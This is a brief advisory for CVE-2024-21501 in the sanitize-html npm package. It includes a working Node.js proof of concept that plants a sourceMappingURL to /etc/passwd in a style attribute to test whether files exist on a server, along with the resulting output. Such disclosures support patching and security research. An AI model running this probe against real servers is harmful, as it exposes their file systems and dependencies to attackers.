sanitize-html - CVE-2024-21501
Affected versions (<2.12.1) of this package are vulnerable to Information Exposure when used on the backend and with the style
attribute allowed, allowing enumeration of files in the system (including project dependencies). An attacker could exploit this vulnerability to gather details about the file system structure and dependencies of the targeted server.
PoC || GTFO
// index.js
const sanitizeHtml = require('sanitize-html');
const file_exist = `<a style='background-image: url("/*# sourceMappingURL=/etc/passwd */");'>@slonser_</a>`;
const file_dont_exist = `<a style='background-image: url("/*# sourceMappingURL=/etc/nopasswd */");'>@slonser_</a>`;
// vulnerable sanitize
const sanitize = (input) => sanitizeHtml(input, {
allowedAttributes: {
...sanitizeHtml.defaults.allowedAttributes,
a: ['style'],
},
});
const sanitized_exist = sanitize(file_exist);
const sanitized_dont_exist = sanitize(file_dont_exist);
console.log(sanitized_exist, "<-- response when file is found");
console.log(sanitized_dont_exist, "<-- response when file is not found");
root@8cf83668943d:~# node index.js
[... snip ...]
<a>@slonser_</a> <-- response when file is found
<a style="background-image:url("/*# sourceMappingURL=/etc/nopasswd */")">@slonser_</a> <-- response when file is not found
Last updated
Was this helpful?